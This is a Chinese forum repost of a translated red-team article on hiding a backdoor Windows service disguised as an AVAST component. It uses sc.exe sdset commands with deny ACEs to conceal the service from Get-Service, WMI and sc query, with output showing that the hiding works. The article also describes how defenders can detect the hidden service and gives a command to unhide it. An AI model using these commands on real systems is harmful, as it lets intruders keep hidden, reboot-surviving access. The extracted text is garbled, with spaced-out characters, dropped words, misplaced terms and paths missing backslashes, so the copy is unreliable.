搜索

[18230] 2020-12-13_思路分享：windows权限维持场景中如何隐藏服务信息

文档创建者：s7ckTeam
浏览次数：50
最后更新：2025-01-18
2020-12-13_思路分享：windows权限维持场景中如何隐藏服务信息 思 路 分 享 ： w i n d o w s 权 限 维 持 场 景 中 如 何 隐 藏 服 务 信 息 幽 幽 听 蝉 鸣   H A C K 之 道   2 0 2 0 - 1 2 - 1 3 1 .   译 文 声 明 译 文 声 明 本 文 是 翻 译 文 章 ， 原 作 者 本 文 是 翻 译 文 章 ， 原 作 者   原 文 地 址 ： 原 文 地 址 ： 译 文 仅 作 参 考 ， 具 体 内 容 表 达 请 见 原 文 译 文 仅 作 参 考 ， 具 体 内 容 表 达 请 见 原 文 2 .   前 言 前 言 在 近 期 的 一 次 红 蓝 对 抗 中 遇 到 了 一 些 蓝 方 大 佬 ， 我 们 使 用 了 自 行 开 发 的 后 门 程 序 来 逃 避 目 标 主 机 上 的 E D R 防 护 措 施 （ 终 端 检 测 响 应 平 台 ） 。 但 我 们 预 估 目 标 系 统 上 的 主 机 分 析 最 终 会 检 测 到 后 门 程 序 从 而 导 致 我 们 被 扣 分 。 分 析 了 一 些 E D R 检 测 模 型 后 ， 我 们 初 步 打 算 使 用 常 规 可 信 的 服 务 名 称 来 对 抗 检 测 ， 这 些 可 信 的 服 务 名 称 可 能 会 被 优 先 忽 略 。 在 这 里 ， 是 对 应 的 后 门 程 序 ， 我 们 将 其 伪 装 成 了 。 虽 然 这 可 能 会 逃 避 宽 松 的 安 全 检 查 ， 但 在 真 实 的 红 蓝 对 抗 中 ， 这 种 方 法 还 是 不 得 劲 。 #   使 用 G e t - S e r v i c e 查 看 目 标 服 务 信 息 P S   C : W I N D O W S s y s t e m 3 2 >   G e t - S e r v i c e   - N a m e   S W C U E n g i n e S t a t u s       N a m e                               D i s p l a y N a m e - - - - - -       - - - -                               - - - - - - - - - - - R u n n i n g     S W C U E n g i n e                   S W C U E n g i n e 3 .   正 文 正 文 W i n d o w s 服 务 支 持 使 用 来 声 明 或 控 制 服 务 权 限 。 常 规 场 景 下 管 理 员 不 会 主 动 手 动 修 改 某 一 服 务 的 S D D L 语 法 ， 但 是 权 限 维 持 场 景 中 攻 击 者 可 以 通 过 修 改 目 标 服 务 的 S D D L 语 法 来 实 现 隐 藏 服 务 的 目 的 。 在 本 栗 子 中 ， J o s h u a   W r i g h t h t t p s : / / w w w . s a n s . o r g / b l o g / r e d - t e a m - t a c t i c s - h i d i n g - w i n d o w s - s e r v i c e s / S W C U E n g i n e A V A S T 软 件 清 理 引 擎 安 全 描 述 符 定 义 语 言 （ S D D L ）
服 务 的 隐 藏 效 果 不 错 。 S D D L 语 法 格 式 看 起 来 有 些 臃 肿 ， 其 主 要 使 用 了 D A C L 和 S A C L 组 件 中 的 来 声 明 或 控 制 权 限 。 关 于 的 文 章 请 见 此 ， 的 格 式 如 下 ： a c e _ t y p e ; a c e _ f l a g s ; r i g h t s ; o b j e c t _ g u i d ; i n h e r i t _ o b j e c t _ g u i d ; a c c o u n t _ s i d ; ( r e s o u r c e _ a t t r i b u t e ) 成 员 成 员 含 义 含 义 a c e _ t y p e 字 符 串 格 式 ， 标 识 A C E _ H E A D E R 结 构 的 成 员 的 值 a c e _ f l a g s 字 符 串 格 式 ， 标 识 A C E _ H E A D E R 结 构 的 成 员 的 值 r i g h t s 字 符 串 格 式 ， 标 识 由 A C E 控 制 的 访 问 权 限 o b j e c t _ g u i d G U I D 格 式 ， 它 指 示 特 定 于 对 象 的 A C E 结 构 （ 例 如 A C C E S S _ A L L O W E D _ O B J E C T _ A C E ） 的 O b j e c t T y p e 成 员 的 值 i n h e r i t _ o b j e c t _ g u i d G U I D 格 式 ， 它 指 示 特 定 于 对 象 的 A C E 结 构 的 成 员 的 值 a c c o u n t _ s i d S I D 格 式 ， 用 于 指 示 A C E 字 符 串 所 作 用 的 目 标 用 户 / 组 r e s o u r c e _ a t t r i b u t e 一 个 可 选 值 ， 本 文 中 未 用 到 ， 故 未 做 解 释 . . 本 文 中 出 现 的 主 要 为 与 S W C U E n g i n e A C E 字 符 串 A C E 字 符 串 A C E 字 符 串 A c e T y p e A c e F l a g s I n h e r i t e d O b j e c t T y p e a c e _ t y p e D ( d e n y ) A ( a l l o w )
, D 条 目 始 终 排 在 最 前 面 ， 其 优 先 于 A 条 目 ， A 条 目 与 默 认 权 限 相 同 。 相 关 举 例 如 下 ： # A C E 字 符 串 ( D ; ; D C L C W P D T S D ; ; ; I U ) 含 义 如 下 ： ( D ; ; D C L C W P D T S D ; ; ; I U )   -   #   拒 绝 ( D ) 交 互 式 用 户   ( I U )   以 下 权 限 :     D C   -   S E R V I C E _ C H A N G E _ C O N F I G   ( 更 改 服 务 配 置 )     L C   -   S E R V I C E _ Q U E R Y _ S T A T U S   ( 查 询 服 务 状 态 的 权 利 )     W P   -   S E R V I C E _ S T O P   ( 停 止 服 务 )     D T   -   S E R V I C E _ P A U S E _ C O N T I N U E   ( 暂 停 和 继 续 服 务 )     S D   -   D E L E T E   ( 删 除 服 务 )   ( D ; ; D C L C W P D T S D ; ; ; S U )   -   #   拒 绝 S y s t e m 用 户 ( S U ) 与 上 述 相 同 的 权 限 集 ( D ; ; D C L C W P D T S D ; ; ; B A )   -   #   拒 绝 管 理 员 组 ( B A ) 与 上 述 相 同 的 权 限 集 通 过 对 目 标 服 务 进 行 此 更 改 ， 可 以 实 现 持 久 隐 藏 ： #   使 用 s c . e x e   修 改   S W C U E n g i n e   服 务 的 S D D L 语 法 以 实 现 隐 藏 P S   C : W I N D O W S s y s t e m 3 2 >   &   $ e n v : S y s t e m R o o t S y s t e m 3 2 s c . e x e   s d s e t   S W C U E n g i n e   " D : ( D ; ; D C L C W P D T S D ; ; ; I U ) ( D ; ; D C L C W P D T S D ; ; ; S U ) ( D ; ; D C L C W P D T S D ; ; ; B A ) ( A ; ; C C L C S W L O C R R C ; ; ; I U ) ( A ; ; C C L C S W L O C R R C ; ; ; S U ) ( A ; ; C C L C S W R P W P D T L O C R R C ; ; ; S Y ) ( A ; ; C C D C L C S W R P W P D T L O C R S D R C W D W O ; ; ; B A ) S : ( A U ; F A ; C C D C L C S W R P W P D T L O C R S D R C W D W O ; ; ; W D ) " [ S C ]   S e t S e r v i c e O b j e c t S e c u r i t y   S U C C E S S # 验 证   S W C U E n g i n e   服 务 是 否 隐 藏 成 功 P S   C : W I N D O W S s y s t e m 3 2 >   G e t - S e r v i c e   - N a m e   S W C U E n g i n e G e t - S e r v i c e   :   C a n n o t   f i n d   a n y   s e r v i c e   w i t h   s e r v i c e   n a m e   ' S W C U E n g i n e ' . A t   l i n e : 1   c h a r : 1 +   G e t - S e r v i c e   - N a m e   S W C U E n g i n e +   ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~         +   C a t e g o r y I n f o                     :   O b j e c t N o t F o u n d :   ( S W C U E n g i n e : S t r i n g )   [ G e t - S e r v i c e ] ,   S e r v i c e C o m m a n d E x c e p t i o n         +   F u l l y Q u a l i f i e d E r r o r I d   :   N o S e r v i c e F o u n d F o r G i v e n N a m e , M i c r o s o f t . P o w e r S h e l l . C o m m a n d s . G e t S e r v i c e C o m m a n d 隐 藏 后 ， 无 论 是 A C E 字 符 串 s e r v i c e s . e x e
、 、 或 任 何 其 它 关 于 服 务 的 控 制 工 具 均 无 法 检 索 出 对 应 信 息 ， 效 果 如 下 ： # 以 下 三 种 查 询 服 务 信 息 的 手 段 均 无 信 息 P S   C : W I N D O W S s y s t e m 3 2 >   G e t - S e r v i c e   |   S e l e c t - O b j e c t   N a m e   |   S e l e c t - S t r i n g   - P a t t e r n   ' S W C U E n g i n e ' P S   C : W I N D O W S s y s t e m 3 2 >   G e t - W m i O b j e c t   W i n 3 2 _ S e r v i c e   |   S e l e c t - S t r i n g   - P a t t e r n   ' S W C U E n g i n e ' P S   C : W I N D O W S s y s t e m 3 2 >   &   $ e n v : S y s t e m R o o t S y s t e m 3 2 s c . e x e   q u e r y   |   S e l e c t - S t r i n g   - P a t t e r n   ' S W C U E n g i n e ' P S   C : W I N D O W S s y s t e m 3 2 如 果 蓝 队 事 先 知 道 该 服 务 的 名 称 ， 他 们 可 以 通 过 尝 试 停 止 该 服 务 来 判 断 该 服 务 是 否 存 在 。 本 例 中 ， 服 务 不 存 在 ， 服 务 存 在 不 过 被 隐 藏 了 ， 这 两 种 状 态 下 通 过 指 令 来 停 止 服 务 时 的 回 显 是 不 一 样 的 ， 如 下 ， 前 者 会 提 示 ， 后 者 会 提 示 ： G e t - S e r v i c e s c   q u e r y J o s h N o S u c h S e r v i c e S W C U E n g i n e S e t - S e r v i c e I n v a l i d O p e r a t i o n E x c e p t i o n S e r v i c e C o m m a n d E x c e p t i o n
#   停 止 不 存 在 的 J o s h N o S u c h S e r v i c e 服 务 得 到   I n v a l i d O p e r a t i o n E x c e p t i o n   异 常 P S   C : W I N D O W S s y s t e m 3 2 >   S e t - S e r v i c e   - N a m e   J o s h N o S u c h S e r v i c e   - S t a t u s   S t o p p e d S e t - S e r v i c e   :   S e r v i c e   J o s h N o S u c h S e r v i c e   w a s   n o t   f o u n d   o n   c o m p u t e r   ' . ' . A t   l i n e : 1   c h a r : 1 +   S e t - S e r v i c e   - N a m e   J o s h N o S u c h S e r v i c e   - S t a t u s   S t o p p e d +   ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~         +   C a t e g o r y I n f o                     :   O b j e c t N o t F o u n d :   ( . : S t r i n g )   [ S e t - S e r v i c e ] ,   I n v a l i d O p e r a t i o n E x c e p t i o n         +   F u l l y Q u a l i f i e d E r r o r I d   :   I n v a l i d O p e r a t i o n E x c e p t i o n , M i c r o s o f t . P o w e r S h e l l . C o m m a n d s . S e t S e r v i c e C o m m a n d #   停 止 存 在 但 被 隐 藏 的 S W C U E n g i n e 服 务 得 到 S e r v i c e C o m m a n d E x c e p t i o n 异 常 P S   C : W I N D O W S s y s t e m 3 2 >   S e t - S e r v i c e   - N a m e   S W C U E n g i n e   - S t a t u s   S t o p p e d S e t - S e r v i c e   :   S e r v i c e   ' S W C U E n g i n e   ( S W C U E n g i n e ) '   c a n n o t   b e   c o n f i g u r e d   d u e   t o   t h e   f o l l o w i n g   e r r o r :   A c c e s s   i s   d e n i e d A t   l i n e : 1   c h a r : 1 +   S e t - S e r v i c e   - N a m e   S W C U E n g i n e   - S t a t u s   S t o p p e d +   ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~         +   C a t e g o r y I n f o                     :   P e r m i s s i o n D e n i e d :   ( S y s t e m . S e r v i c e P r o c e s s . S e r v i c e C o n t r o l l e r : S e r v i c e C o n t r o l l e r )   [ S e t - S e r v i c e ] ,       S e r v i c e C o m m a n d E x c e p t i o n         +   F u l l y Q u a l i f i e d E r r o r I d   :   C o u l d N o t S e t S e r v i c e , M i c r o s o f t . P o w e r S h e l l . C o m m a n d s . S e t S e r v i c e C o m m a n d 如 果 知 道 被 隐 藏 的 服 务 名 称 ， 可 以 通 过 如 下 命 令 来 取 消 隐 藏 ：
#   使 用 s c . e x e 修 改 目 标 服 务 的 S D D L 语 法 实 现 取 消 隐 藏 P S   C : W I N D O W S s y s t e m 3 2 >   &   $ e n v : S y s t e m R o o t S y s t e m 3 2 s c . e x e   s d s e t   S W C U E n g i n e   " D : ( A ; ; C C L C S W R P W P D T L O C R R C ; ; ; S Y ) ( A ; ; C C D C L C S W R P W P D T L O C R S D R C W D W O ; ; ; B A ) ( A ; ; C C L C S W L O C R R C ; ; ; I U ) ( A ; ; C C L C S W L O C R R C ; ; ; S U ) S : ( A U ; F A ; C C D C L C S W R P W P D T L O C R S D R C W D W O ; ; ; W D ) " [ S C ]   S e t S e r v i c e O b j e c t S e c u r i t y   S U C C E S S #   现 在 使 用   G e t - S e r i c e   指 令 可 以 查 看 到 对 应 的 服 务 信 息 P S   C : W I N D O W S s y s t e m 3 2 >   G e t - S e r v i c e   - N a m e   ' S W C U E n g i n e ' S t a t u s       N a m e                               D i s p l a y N a m e - - - - - -       - - - -                               - - - - - - - - - - - R u n n i n g     S W C U E n g i n e                   S W C U E n g i n e 在 红 蓝 对 抗 中 ， 该 思 路 可 用 于 在 目 标 主 机 进 行 隐 藏 后 门 的 权 限 维 持 。 而 且 即 使 目 标 系 统 重 启 ， 该 隐 藏 服 务 也 会 自 启 动 。 4 .   参 考 参 考 h t t p : / / w a y n e s - w o r l d - i t . b l o g s p o t . c o m / 2 0 0 9 / 1 0 / s e r v i c e - c o n t r o l - m a n a g e r - s e c u r i t y - f o r . h t m l h t t p s : / / s t a c k o v e r f l o w . c o m / q u e s t i o n s / 2 5 7 3 6 2 6 8 / h o w - t o - r e g i s t e r - a - w i n d o w s - s e r v i c e - b u t - a v o i d - i t - b e i n g - l i s t e d - i n - t h e - s e r v i c e s - c o n s # a n s w e r - 2 5 7 3 6 8 1 4 作 者 ： 幽 幽 听 蝉 鸣   ， 文 章 来 源 ： 先 知 社 区 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理